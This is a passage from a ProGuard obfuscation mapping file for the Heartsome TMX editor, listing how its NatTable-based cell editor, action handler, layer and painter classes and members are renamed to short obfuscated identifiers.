net.sourceforge.nattable.layer.DataLayer getDataLayer() -> bz + net.sourceforge.nattable.selection.SelectionLayer getSelectionLayer() -> getSelectionLayer + net.sourceforge.nattable.viewport.ViewportLayer getViewportLayer() -> getViewportLayer + org.eclipse.jface.viewers.ISelectionProvider getSelectionProvider() -> getSelectionProvider + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorDataProvider createBodyDataProvider() -> bA + void configLabelAccumulator() -> bB + net.sourceforge.nattable.selection.SelectionLayer access$0(net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable$BodyLayer) -> a +net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable$ColumnHeaderLayerStack -> net.heartsome.cat.te.tmxeditor.editor.nattable.h: + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable this$0 -> oS +net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable$ColumnHeaderLayerStack$1 -> net.heartsome.cat.te.tmxeditor.editor.nattable.i: + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable$ColumnHeaderLayerStack this$1 -> oW + void configureRegistry(net.sourceforge.nattable.config.IConfigRegistry) -> configureRegistry +net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable$FontPropertyChangeListener -> net.heartsome.cat.te.tmxeditor.editor.nattable.j: + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable this$0 -> oS + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange +net.heartsome.cat.te.tmxeditor.editor.nattable.action.KeyEditAction -> net.heartsome.cat.te.tmxeditor.editor.nattable.action.a: + void run(net.sourceforge.nattable.NatTable,org.eclipse.swt.events.KeyEvent) -> run +net.heartsome.cat.te.tmxeditor.editor.nattable.action.MouseEditAction -> net.heartsome.cat.te.tmxeditor.editor.nattable.action.b: + void run(net.sourceforge.nattable.NatTable,org.eclipse.swt.events.MouseEvent) -> run +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditController -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.a: + boolean editCellInline(net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable) -> i +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditController$1 -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.b: + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable val$editor -> oX + net.sourceforge.nattable.NatTable val$natTable -> oY + org.eclipse.swt.widgets.Control val$editorControl -> oZ + int val$columnIndex -> pa + int val$rowIndex -> pb + org.eclipse.swt.graphics.Rectangle val$editorBounds -> pc + void documentChanged(org.eclipse.jface.text.DocumentEvent) -> documentChanged + void documentAboutToBeChanged(org.eclipse.jface.text.DocumentEvent) -> documentAboutToBeChanged +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditController$2 -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.c: + org.eclipse.swt.custom.StyledText val$styledText -> pd + net.sourceforge.nattable.selection.SelectionLayer val$selectionLayer -> pe + net.sourceforge.nattable.NatTable val$natTable -> oY + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable val$editor -> oX + void keyReleased(org.eclipse.swt.events.KeyEvent) -> keyReleased + void keyPressed(org.eclipse.swt.events.KeyEvent) -> keyPressed +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditController$3 -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.d: + void verifyKey(org.eclipse.swt.events.VerifyEvent) -> verifyKey +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditController$4 -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.e: + org.eclipse.swt.custom.StyledText val$styledText -> pd + net.sourceforge.nattable.NatTable val$natTable -> oY + void mouseUp(org.eclipse.swt.events.MouseEvent) -> mouseUp + void mouseDown(org.eclipse.swt.events.MouseEvent) -> mouseDown + void mouseDoubleClick(org.eclipse.swt.events.MouseEvent) -> mouseDoubleClick +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditHandler -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.f: + net.sourceforge.nattable.edit.editor.ICellEditor cellEditor -> pf + net.sourceforge.nattable.layer.ILayer layer -> pg + int columnIndex -> columnIndex + int rowIndex -> rowIndex + int[] $SWITCH_TABLE$net$sourceforge$nattable$selection$SelectionLayer$MoveDirectionEnum -> ph + boolean commit(net.sourceforge.nattable.selection.SelectionLayer$MoveDirectionEnum,boolean) -> commit + int[] $SWITCH_TABLE$net$sourceforge$nattable$selection$SelectionLayer$MoveDirectionEnum() -> bC +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditor -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.g: + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer textViewer -> pi + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorCanonicalValue canonicalValue -> pj + void setCanonicalValue(java.lang.Object) -> setCanonicalValue + java.lang.Object getCanonicalValue() -> getCanonicalValue + org.eclipse.swt.widgets.Control activateCell(org.eclipse.swt.widgets.Composite,java.lang.Object,java.lang.Character) -> activateCell + void close() -> close + org.eclipse.swt.custom.StyledText createTextControl(org.eclipse.swt.widgets.Composite) -> o + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer getTextViewer() -> bD + void insertCanonicalValue(java.lang.Object) -> c +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditor$1 -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.h: + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditor this$0 -> pk + void focusLost(org.eclipse.swt.events.FocusEvent) -> focusLost + void focusGained(org.eclipse.swt.events.FocusEvent) -> focusGained +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorCanonicalValue -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.i: + net.heartsome.cat.common.bean.TmxTU tu -> s + net.heartsome.cat.common.bean.TmxSegement tuv -> pl + java.lang.String newFullValue -> pm + java.lang.String newPureText -> pn + java.lang.String getNewFullValue() -> bE + void setNewFullValue(java.lang.String) -> ac + java.lang.String getNewPureText() -> bF + void setNewPureText(java.lang.String) -> ad + net.heartsome.cat.common.bean.TmxTU getTu() -> getTu + net.heartsome.cat.common.bean.TmxSegement getTuv() -> bG +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.j: + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder$CutActionHandler textCutAction -> po + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder$CopyActionHandler textCopyAction -> pp + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder$PasteActionHandler textPasteAction -> pq + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder$UndoActionHandler textUndoAction -> pr + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder$RedoActionHandler textRedoAction -> ps + org.eclipse.ui.IActionBars actionBar -> pt + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer viewer -> pu + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder instance -> pv + org.eclipse.jface.action.IAction preCutAction -> pw + org.eclipse.jface.action.IAction preCopyAction -> px + org.eclipse.jface.action.IAction prePasteAction -> py + org.eclipse.jface.action.IAction preUndoAction -> pz + org.eclipse.jface.action.IAction preRedoAction -> pA + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder getInstance() -> bH + void setIActionBars(org.eclipse.ui.IActionBars) -> a + void addTextViewer(net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer) -> a + void updateGlobalActionHandler() -> bI + void resetGlobalActionHandler() -> bJ + void dispose() -> dispose + void removeTextViewer() -> bK + void updateActionsEnableState() -> bL + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer access$0(net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder) -> a +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder$1 -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.k: + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder this$0 -> pB + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder$2 -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.l: + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder this$0 -> pB + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder$CopyActionHandler -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.m: + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder this$0 -> pB + void runWithEvent(org.eclipse.swt.widgets.Event) -> runWithEvent + void updateEnabledState() -> updateEnabledState +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder$CutActionHandler -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.n: + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder this$0 -> pB + void runWithEvent(org.eclipse.swt.widgets.Event) -> runWithEvent + void updateEnabledState() -> updateEnabledState +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder$PasteActionHandler -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.o: + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder this$0 -> pB + void runWithEvent(org.eclipse.swt.widgets.Event) -> runWithEvent + void updateEnabledState() -> updateEnabledState +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder$RedoActionHandler -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.p: + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder this$0 -> pB + void runWithEvent(org.eclipse.swt.widgets.Event) -> runWithEvent + void updateEnabledState() -> updateEnabledState +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder$UndoActionHandler -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.q: + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder this$0 -> pB + void runWithEvent(org.eclipse.swt.widgets.Event) -> runWithEvent + void updateEnabledState() -> updateEnabledState +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.r: + net.heartsome.cat.common.bean.TmxSegement tuv -> pl + java.util.ArrayList innerTagCacheList -> pC + void setTmxSegement(net.heartsome.cat.common.bean.TmxSegement) -> a + void setText(java.lang.String) -> setText + java.lang.String getPureText() -> getPureText + java.lang.String getSelectionText() -> getSelectionText + java.lang.String getFullText() -> getFullText + void dispose() -> dispose + void initListener() -> bM + java.lang.String cleanRegularString(java.lang.String) -> ae + java.lang.String resetRegularString(java.lang.String) -> a + void initUndoManager(int) -> j + void doOperation(int) -> doOperation + void copy() -> copy + void parse() -> parse +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer$1 -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.s: + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer this$0 -> pD + void paintObject(org.eclipse.swt.custom.PaintObjectEvent) -> paintObject +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer$2 -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.t: + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer this$0 -> pD + void verifyText(org.eclipse.swt.events.VerifyEvent) -> verifyText + void deleteInnerTagInPairs(org.eclipse.swt.events.VerifyEvent,java.util.regex.Matcher) -> a + void access$0(net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer$2,org.eclipse.swt.events.VerifyEvent,java.util.regex.Matcher) -> a +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer$2$1 -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.u: + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer$2 this$1 -> pE + org.eclipse.swt.events.VerifyEvent val$e -> pF + java.util.regex.Matcher val$matcher -> pG + void run() -> run +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer$3 -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.v: + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer this$0 -> pD + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer$4 -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.w: + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer this$0 -> pD + void keyReleased(org.eclipse.swt.events.KeyEvent) -> keyReleased + void keyPressed(org.eclipse.swt.events.KeyEvent) -> keyPressed +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer$5 -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.x: + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer this$0 -> pD + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer$6 -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.y: + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer this$0 -> pD + void mouseUp(org.eclipse.swt.events.MouseEvent) -> mouseUp + void mouseDown(org.eclipse.swt.events.MouseEvent) -> mouseDown + void mouseDoubleClick(org.eclipse.swt.events.MouseEvent) -> mouseDoubleClick +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer$7 -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.z: + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer this$0 -> pD + void mouseMove(org.eclipse.swt.events.MouseEvent) -> mouseMove +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorViewerUtils -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.aa: + java.lang.String convertDisplayTextToOriginalText(java.lang.String,java.util.List) -> a + java.lang.String filterInnerTag(net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer,java.lang.String) -> a +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.HSTextTransfer -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.ab: + java.lang.String MIME_TYPE -> pH + int MIME_TYPE_ID -> pI + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.HSTextTransfer _instance -> pJ + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.HSTextTransfer getInstance() -> bN + int[] getTypeIds() -> getTypeIds + java.lang.String[] getTypeNames() -> getTypeNames + void javaToNative(java.lang.Object,org.eclipse.swt.dnd.TransferData) -> javaToNative + java.lang.Object nativeToJava(org.eclipse.swt.dnd.TransferData) -> nativeToJava + boolean checkMyType(java.lang.Object) -> d + boolean validate(java.lang.Object) -> validate +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.InnerTagRule -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.ac: + java.lang.StringBuffer fBuffer -> pK + org.eclipse.jface.text.rules.IToken evaluate(org.eclipse.jface.text.rules.ICharacterScanner) -> evaluate + void unreadBuffer(org.eclipse.jface.text.rules.ICharacterScanner) -> unreadBuffer +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.InnerTagScanner -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.ad: + org.eclipse.jface.text.rules.Token tagContentToken -> pL + void initialize() -> initialize + void updateToken() -> bO + org.eclipse.swt.graphics.TextStyle createTextStyle() -> bP + org.eclipse.jface.text.rules.IRule createInnerTagRule() -> bQ +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.InnerTagScanner$InnerTagDetector -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.ae: + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.InnerTagScanner this$0 -> pM + boolean isWordStart(char) -> isWordStart + boolean isWordPart(char) -> isWordPart +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.PresentationRepairer -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.af: + org.eclipse.jface.text.IDocument fDocument -> fDocument + org.eclipse.jface.text.rules.ITokenScanner fScanner -> fScanner + org.eclipse.swt.graphics.TextStyle fDefaultTextStyle -> pN + net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer viewer -> pu + void setDocument(org.eclipse.jface.text.IDocument) -> setDocument + void createPresentation(org.eclipse.jface.text.TextPresentation,org.eclipse.jface.text.ITypedRegion) -> createPresentation + org.eclipse.swt.graphics.TextStyle getTokenTextStyle(org.eclipse.jface.text.rules.IToken) -> a + void addRange(org.eclipse.jface.text.TextPresentation,int,int,org.eclipse.swt.graphics.TextStyle) -> a +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.TagStyleConfigurator -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.ag: + void configure(org.eclipse.swt.graphics.TextLayout) -> a + void configure(net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer) -> b + org.eclipse.jface.text.presentation.IPresentationReconciler getPresentationReconciler(net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorTextViewer) -> c + org.eclipse.jface.text.rules.ITokenScanner getRecipeScanner(org.eclipse.jface.text.IDocument) -> a +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.TeActiveCellEditor -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.ah: + net.sourceforge.nattable.edit.editor.ICellEditor cellEditor -> pf + net.sourceforge.nattable.edit.ICellEditHandler editHandler -> pO + net.sourceforge.nattable.data.validate.IDataValidator dataValidator -> pP + org.eclipse.swt.widgets.Control activeCellEditorControl -> pQ + int columnPosition -> columnPosition + int rowPosition -> rowPosition + int columnIndex -> columnIndex + int rowIndex -> rowIndex + void activate(net.sourceforge.nattable.edit.editor.ICellEditor,org.eclipse.swt.widgets.Composite,java.lang.Object,java.lang.Character,net.sourceforge.nattable.data.convert.IDisplayConverter,net.sourceforge.nattable.style.IStyle,net.sourceforge.nattable.data.validate.IDataValidator,net.sourceforge.nattable.edit.ICellEditHandler,int,int,int,int) -> activate + void commit() -> commit + void commitWithoutClose() -> bR + void close() -> close + net.sourceforge.nattable.edit.editor.ICellEditor getCellEditor() -> getCellEditor + org.eclipse.swt.widgets.Control getControl() -> getControl + int getColumnPosition() -> getColumnPosition + int getRowPosition() -> getRowPosition + int getColumnIndex() -> getColumnIndex + int getRowIndex() -> getRowIndex + java.lang.Object getCanonicalValue() -> getCanonicalValue + boolean validateCanonicalValue() -> validateCanonicalValue + boolean isValid() -> isValid + void recalculateCellsBounds() -> bS +net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.TmxInnerTagUtils -> net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.ai: + net.heartsome.cat.common.ui.innertag.InnerTag getInnerTagControl(java.util.List,java.lang.String) -> b + java.lang.String getPlaceHolder(java.util.List,net.heartsome.cat.common.innertag.InnerTagBean) -> a + net.heartsome.cat.common.ui.innertag.InnerTag createInnerTagControl(org.eclipse.swt.widgets.Composite,net.heartsome.cat.common.innertag.InnerTagBean,net.heartsome.cat.common.innertag.TagStyle) -> a +net.heartsome.cat.te.tmxeditor.editor.nattable.commond.AutoResizeCurrentRowsCommand -> net.heartsome.cat.te.tmxeditor.editor.nattable.commond.a: + net.sourceforge.nattable.config.IConfigRegistry configRegistry -> pR + int[] rows -> pS + net.sourceforge.nattable.command.ILayerCommand cloneCommand() -> cloneCommand + net.sourceforge.nattable.config.IConfigRegistry getConfigRegistry() -> getConfigRegistry + int[] getRows() -> bT +net.heartsome.cat.te.tmxeditor.editor.nattable.commond.AutoResizeCurrentRowsCommandHandler -> net.heartsome.cat.te.tmxeditor.editor.nattable.commond.b: + net.sourceforge.nattable.layer.CompositeLayer layer -> pT + boolean doCommand(net.sourceforge.nattable.layer.ILayer,net.heartsome.cat.te.tmxeditor.editor.nattable.commond.AutoResizeCurrentRowsCommand) -> a + java.lang.Class getCommandClass() -> getCommandClass + int[] getPreferedRowHeights(net.sourceforge.nattable.config.IConfigRegistry,net.sourceforge.nattable.layer.ILayer,int[]) -> a + int getPreferredRowHeight(net.sourceforge.nattable.layer.ILayer,int,net.sourceforge.nattable.config.IConfigRegistry,org.eclipse.swt.graphics.GC,int) -> a + boolean doCommand(net.sourceforge.nattable.layer.ILayer,net.sourceforge.nattable.command.ILayerCommand) -> doCommand +net.heartsome.cat.te.tmxeditor.editor.nattable.commond.EditCellCommandHandler -> net.heartsome.cat.te.tmxeditor.editor.nattable.commond.c: + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable editor -> pU + java.lang.Class getCommandClass() -> getCommandClass + boolean doCommand(net.sourceforge.nattable.edit.command.EditCellCommand) -> doCommand + boolean doCommand(net.sourceforge.nattable.command.ILayerCommand) -> doCommand +net.heartsome.cat.te.tmxeditor.editor.nattable.commond.UpdateDataCommand -> net.heartsome.cat.te.tmxeditor.editor.nattable.commond.d: + java.lang.Object newValue -> pV + java.lang.Object getNewValue() -> getNewValue + net.heartsome.cat.te.tmxeditor.editor.nattable.commond.UpdateDataCommand cloneCommand() -> bU + boolean convertToTargetLayer(net.sourceforge.nattable.layer.ILayer) -> convertToTargetLayer + net.sourceforge.nattable.command.ILayerCommand cloneCommand() -> cloneCommand +net.heartsome.cat.te.tmxeditor.editor.nattable.commond.UpdateDataCommandHandler -> net.heartsome.cat.te.tmxeditor.editor.nattable.commond.e: + net.sourceforge.nattable.NatTable table -> pW + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable$BodyLayer bodyLayerStack -> pX + java.lang.Class getCommandClass() -> getCommandClass + boolean doCommand(net.heartsome.cat.te.tmxeditor.editor.nattable.commond.UpdateDataCommand) -> a + boolean doCommand(net.sourceforge.nattable.command.ILayerCommand) -> doCommand +net.heartsome.cat.te.tmxeditor.editor.nattable.configuration.BodyMenuConfiguration -> net.heartsome.cat.te.tmxeditor.editor.nattable.configuration.a: + org.eclipse.swt.widgets.Menu bodyMenu -> pY + net.sourceforge.nattable.NatTable table -> pW + void configureUiBindings(net.sourceforge.nattable.ui.binding.UiBindingRegistry) -> configureUiBindings + void createBodyMenu() -> bV +net.heartsome.cat.te.tmxeditor.editor.nattable.configuration.CompositeLayerConfiguration -> net.heartsome.cat.te.tmxeditor.editor.nattable.configuration.b: + void addEditingUIConfig() -> addEditingUIConfig + void addAlternateRowColoringConfig(net.sourceforge.nattable.layer.CompositeLayer) -> a +net.heartsome.cat.te.tmxeditor.editor.nattable.configuration.CompositeLayerConfiguration$1 -> net.heartsome.cat.te.tmxeditor.editor.nattable.configuration.c: + net.heartsome.cat.te.tmxeditor.editor.nattable.action.KeyEditAction action -> pZ + net.heartsome.cat.te.tmxeditor.editor.nattable.configuration.CompositeLayerConfiguration this$0 -> qa + void configureUiBindings(net.sourceforge.nattable.ui.binding.UiBindingRegistry) -> configureUiBindings +net.heartsome.cat.te.tmxeditor.editor.nattable.configuration.CompositeLayerConfiguration$1$1 -> net.heartsome.cat.te.tmxeditor.editor.nattable.configuration.d: + net.heartsome.cat.te.tmxeditor.editor.nattable.configuration.CompositeLayerConfiguration$1 this$1 -> qb + boolean matches(org.eclipse.swt.events.KeyEvent) -> matches +net.heartsome.cat.te.tmxeditor.editor.nattable.configuration.TmxEditorSelectionLayerConfiguration -> net.heartsome.cat.te.tmxeditor.editor.nattable.configuration.e: + void addSelectionStyleConfig() -> addSelectionStyleConfig + void addSelectionUIBindings() -> addSelectionUIBindings + void addTickUpdateConfig() -> addTickUpdateConfig + void addMoveSelectionConfig() -> addMoveSelectionConfig +net.heartsome.cat.te.tmxeditor.editor.nattable.configuration.TmxEditorSelectionLayerConfiguration$1 -> net.heartsome.cat.te.tmxeditor.editor.nattable.configuration.f: + net.heartsome.cat.te.tmxeditor.editor.nattable.configuration.TmxEditorSelectionLayerConfiguration this$0 -> qc + void configureHeaderHasSelectionStyle(net.sourceforge.nattable.config.IConfigRegistry) -> configureHeaderHasSelectionStyle + void configureHeaderFullySelectedStyle(net.sourceforge.nattable.config.IConfigRegistry) -> configureHeaderFullySelectedStyle + void configureSelectionAnchorStyle(net.sourceforge.nattable.config.IConfigRegistry) -> configureSelectionAnchorStyle +net.heartsome.cat.te.tmxeditor.editor.nattable.configuration.TmxEditorSelectionLayerConfiguration$2 -> net.heartsome.cat.te.tmxeditor.editor.nattable.configuration.g: + net.heartsome.cat.te.tmxeditor.editor.nattable.configuration.TmxEditorSelectionLayerConfiguration this$0 -> qc + void configureUiBindings(net.sourceforge.nattable.ui.binding.UiBindingRegistry) -> configureUiBindings + void configureMoveUpBindings(net.sourceforge.nattable.ui.binding.UiBindingRegistry,net.sourceforge.nattable.ui.action.IKeyAction) -> configureMoveUpBindings + void configureMoveDownBindings(net.sourceforge.nattable.ui.binding.UiBindingRegistry,net.sourceforge.nattable.ui.action.IKeyAction) -> configureMoveDownBindings + void configureBodyMouseClickBindings(net.sourceforge.nattable.ui.binding.UiBindingRegistry) -> configureBodyMouseClickBindings + void configureBodyMouseDragMode(net.sourceforge.nattable.ui.binding.UiBindingRegistry) -> configureBodyMouseDragMode +net.heartsome.cat.te.tmxeditor.editor.nattable.layer.HorizontalViewportLayer -> net.heartsome.cat.te.tmxeditor.editor.nattable.layer.a: + net.heartsome.cat.te.tmxeditor.editor.nattable.layer.RowHeightCalculator rowHeightCalculator -> qd + void setRowHeightCalculator(net.heartsome.cat.te.tmxeditor.editor.nattable.layer.RowHeightCalculator) -> a + void moveRowPositionIntoViewport(int,boolean) -> moveRowPositionIntoViewport + boolean doCommand(net.sourceforge.nattable.command.ILayerCommand) -> doCommand +net.heartsome.cat.te.tmxeditor.editor.nattable.layer.HorizontalViewportLayer$1 -> net.heartsome.cat.te.tmxeditor.editor.nattable.layer.b: + net.sourceforge.nattable.viewport.ViewportLayer viewportLayer -> viewportLayer + net.sourceforge.nattable.layer.IUniqueIndexLayer scrollableLayer -> scrollableLayer + net.heartsome.cat.te.tmxeditor.editor.nattable.layer.HorizontalViewportLayer this$0 -> qe + org.eclipse.swt.widgets.ScrollBar val$vBar -> qf + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.te.tmxeditor.editor.nattable.layer.LayerUtil -> net.heartsome.cat.te.tmxeditor.editor.nattable.layer.c: + int layoutX -> qg + int layoutY -> qh + void setBodyLayerPosition(int,int) -> e + net.sourceforge.nattable.layer.ILayer getLayer(net.sourceforge.nattable.NatTable,java.lang.Class) -> a + net.sourceforge.nattable.layer.ILayer getLayer(net.sourceforge.nattable.layer.CompositeLayer,java.lang.Class) -> a + int getLowerLayerRowPosition(net.sourceforge.nattable.NatTable,int,java.lang.Class) -> a + int getUpperLayerRowPosition(net.sourceforge.nattable.NatTable,int,java.lang.Class) -> b + int getColumnPositionByIndex(net.sourceforge.nattable.NatTable,int) -> a + int getRowPositionByIndex(net.sourceforge.nattable.NatTable,int) -> b +net.heartsome.cat.te.tmxeditor.editor.nattable.layer.RowHeightCalculator -> net.heartsome.cat.te.tmxeditor.editor.nattable.layer.d: + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable$BodyLayer bodyLayer -> oJ + net.sourceforge.nattable.NatTable table -> pW + int defaultRowheight -> qi + int recaculateRowHeight(int) -> k + int getPreferredRowHeight(int,net.sourceforge.nattable.config.IConfigRegistry,int) -> a +net.heartsome.cat.te.tmxeditor.editor.nattable.painter.AttributePainter -> net.heartsome.cat.te.tmxeditor.editor.nattable.painter.a: + net.sourceforge.nattable.NatTable table -> pW + org.eclipse.swt.graphics.Font font -> font + int ascent -> ascent + int descent -> descent + int tabSize -> tabSize + int tabWidth -> qj + int topPadding -> qk + int rightPadding -> ql + int bottomPadding -> qm + int leftPadding -> qn + int lineSpace -> qo + int getPreferredHeight(net.sourceforge.nattable.layer.cell.LayerCell,org.eclipse.swt.graphics.GC,net.sourceforge.nattable.config.IConfigRegistry) -> getPreferredHeight + int getPreferredWidth(net.sourceforge.nattable.layer.cell.LayerCell,org.eclipse.swt.graphics.GC,net.sourceforge.nattable.config.IConfigRegistry) -> getPreferredWidth + void paintCell(net.sourceforge.nattable.layer.cell.LayerCell,org.eclipse.swt.graphics.GC,org.eclipse.swt.graphics.Rectangle,net.sourceforge.nattable.config.IConfigRegistry) -> paintCell + org.eclipse.swt.graphics.TextLayout 